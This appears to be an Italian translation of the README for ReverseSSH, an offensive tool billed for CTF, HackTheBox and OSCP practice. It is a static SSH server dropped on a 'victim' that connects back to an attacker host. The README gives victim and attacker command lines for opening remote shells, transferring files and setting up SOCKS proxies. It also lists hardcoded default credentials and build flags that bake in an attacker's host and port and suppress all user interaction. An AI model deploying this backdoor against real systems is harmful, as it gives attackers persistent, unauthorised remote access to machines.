
Server SSH compilato staticamente con funzionalità di reverse shell per CTF e simili.
Un server SSH compilato staticamente con funzionalità di connessione inversa per un accesso remoto semplice ma potente. Particolarmente utile per sfide HackTheBox, CTF o simili.
È stato sviluppato ed è stato ampiamente utilizzato durante la preparazione all'esame OSCP.

Ottenere una reverse shell con netcat è bello, certo, ma chi non ha mai chiuso accidentalmente una reverse shell con un interrupt da tastiera per via della memoria muscolare? Oltre alla loro fragilità, queste shell mancano spesso di funzionalità di comodità come l'accesso interattivo completo, il completamento con TAB o la cronologia.
Invece, puoi semplicemente distribuire il server SSH leggero (<1.5MB) reverse-ssh sul target e utilizzare ulteriori comodità come trasferimento file e port forwarding!
ReverseSSH cerca di colmare il divario tra il primo accesso su un target e la piena escalation dei privilegi locali. I suoi punti di forza principali sono i seguenti:
Avvertenze per Windows
Una PowerShell completamente interattiva su Windows si basa su Windows Pseudo Console ConPTY e quindi richiede almeno Win10 Build 17763.
Nelle versioni precedenti puoi comunque ottenere una reverse shell interattiva che non gestisce i codici del terminale virtuale come i tasti freccia o gli interrupt da tastiera.
In tali casi devi aggiungere il comando cmd, cioè ssh <OPTIONS> <IP> cmd.
Puoi ottenere accesso shell completamente interattivo per versioni precedenti di Windows inserendo ssh-shellhost.exe da OpenSSH per Windows nella stessa directory di reverse-ssh e poi usando il flag -s ssh-shellhost.exe.
Questo farà passare tutto il traffico attraverso ssh-shellhost.exe, che imita una pty e trasforma tutti i codici del terminale virtuale in modo che Windows li comprenda.
La semplice esecuzione dei binari forniti si basa solo sui requisiti di sistema di golang.
In breve:
La compilazione richiede inoltre:
upx per la compressione (es. apt install upx-ucl)Una volta che reverse-ssh è in esecuzione sulla vittima, puoi connetterti con qualsiasi nome utente e la password predefinita letmeinbrudipls, la chiave ssh o qualsiasi altra cosa specificata durante la compilazione.
Dopotutto, è solo un server ssh:
# Accesso shell completamente interattivo
$ ssh -p <RPORT> <RHOST>
# Esecuzione semplice di comandi
$ ssh -p <RPORT> <RHOST> whoami
# Trasferimenti di file completi
$ sftp -P <RPORT> <RHOST>
# Port forwarding dinamico come proxy SOCKS sulla porta 9050
$ ssh -p <RPORT> -D 9050 <RHOST>
# Vittima
victim$ ./reverse-ssh
# Attaccante (password predefinita: letmeinbrudipls)
attacker$ ssh -p 31337 <RHOST>
Nota: puoi compilare ReverseSSH con parametri per LHOST e LPORT per facilitare l'esecuzione sul target, vedi sotto
# Sull'attaccante (preparati a ricevere la richiesta in arrivo;
# può essere omesso se hai già un demone ssh in esecuzione, es. OpenSSH)
# NOTA: La LPORT 8888 collide con le connessioni in arrivo; usa il flag `-b 8889` o simile sulla vittima in tal caso
attacker$ ./reverse-ssh -v -l -p <LPORT>
# Sulla vittima
victim$ ./reverse-ssh -p <LPORT> <LHOST>
# o in caso di un demone ssh in ascolto sulla porta 22 con autenticazione tramite password per l'utente 'kali'
victim$ ./reverse-ssh -p 22 kali@<LHOST>
# Attaccante (password predefinita: letmeinbrudipls)
attacker$ ssh -p 8888 127.0.0.1
# o con la configurazione ssh qui sotto
attacker$ ssh target
Alla fine è solo ssh, quindi puoi catturare la chiamata di port forwarding remoto proveniente dalla macchina vittima con il tuo demone openssh in ascolto sulla porta 22.
Basta anteporre <USER>@ e fornire la password quando richiesto.
La connessione verso casa è attualmente solo tramite password, perché non ho ancora voluto incorporare una chiave privata...
Per ancora più comodità, aggiungi quanto segue al tuo ~/.ssh/config, copia la chiave privata ssh in ~/.ssh/ e poi chiama semplicemente ssh target o sftp target:
Host target
Hostname 127.0.0.1
Port 8888
IdentityFile ~/.ssh/id_reverse-ssh
IdentitiesOnly yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
reverseSSH v1.2.0 Copyright (C) 2021 Ferdinor <[email protected]>
Usage: reverse-ssh [options] [[<user>@]<target>]
Examples:
Bind:
reverse-ssh -l
reverse-ssh -v -l -p 4444
Reverse:
reverse-ssh 192.168.0.1
reverse-ssh [email protected]
reverse-ssh -p 31337 192.168.0.1
reverse-ssh -v -b 0 [email protected]
Options:
-l, Avvia reverseSSH in modalità ascolto (sovrascrive lo scenario reverse)
-p, Porta su cui reverseSSH è in ascolto per connessioni ssh in arrivo (scenario bind)
o dove tenta di stabilire una connessione ssh (scenario reverse) (predefinita: 31337)
-b, Solo scenario reverse: si lega a questa porta dopo la connessione verso casa (predefinita: 8888)
-s, Shell da lanciare per le connessioni in arrivo, es. /bin/bash; (predefinita: /bin/bash)
per windows può essere usata solo per fornire un percorso a 'ssh-shellhost.exe' per
migliorare le shell precedenti a Windows 10 (es. '-s ssh-shellhost.exe' se nella stessa directory)
-N, Nega tutte le richieste di shell/exec/subsystem e port forwarding locale in arrivo
(se è necessario solo il port forwarding remoto, es. quando si intercettano connessioni reverse)
-v, Emetti output di log
<target>
Target opzionale che abilita lo scenario reverse. Può essere preceduto da
<user>@ per autenticarsi come utente diverso da 'reverse' durante la connessione verso casa
Credentials:
Accetta tutte le connessioni in arrivo da qualsiasi utente con uno dei seguenti:
* Password "letmeinbrudipls"
* PubKey "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKlbJwr+ueQ0gojy4QWr2sUWcNC/Y9eV9RdY3PLO7Bk/ Brudi"
Assicurati di installare i requisiti sopra indicati, come golang in una versione corrispondente, e di configurarlo correttamente.
Successivamente, puoi compilare con make, che creerà binari statici in bin.
Usa make compressed per comprimere i binari con upx e ridurre ulteriormente le loro dimensioni.
$ make
# o per creare anche binari compressi con upx
$ make compressed
Puoi anche specificare una o più delle seguenti variabili d'ambiente durante la compilazione per personalizzare ReverseSSH in base al tuo caso d'uso:
RS_SHELL per cambiare la shell predefinitaRS_PASS per fornire la tua password personalizzataRS_PUB per fornire la tua chiave autorizzata personalizzataLUSER per cambiare il nome utente predefinito del tentativo di connessione sshLHOST per fornire un valore LHOST predefinito e far sì che ReverseSSH sia predefinito allo scenario reverseLPORT per cambiare la porta di ascolto predefinita o la porta a cui viene inviato un tentativo di connessione sshBPORT per cambiare la porta di ascolto predefinita delle connessioni reverse sulla macchina attaccante; 0 significa che viene presa una porta libera qualsiasiNOCLI con qualsiasi valore rimuove tutta l'interazione con l'utente (il binario ignora tutti i flag o argomenti forniti)$ ssh-keygen -t ed25519 -f id_reverse-ssh
$ RS_SHELL="/bin/sh" RS_PASS="secret" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
$ LHOST="192.168.0.10" LPORT="443" BPORT="0" RS_PUB="$(cat id_reverse-ssh.pub)" make compressed
Per impostazione predefinita, reverse-ssh viene compilato per il tuo sistema operativo e architettura correnti, oltre che per linux e windows in x86 e x64.
Per compilare per altre architetture o un altro sistema operativo puoi fornire variabili d'ambiente che corrispondono al tuo target, ad esempio per linux/arm64:
$ GOARCH=arm64 GOOS=linux make compressed
Un elenco dei target disponibili nel formato OS/arch può essere ottenuto tramite go tool dist list.
Manca una funzione straordinaria? Qualcosa non funziona come previsto?
Crea un issue o una pull request!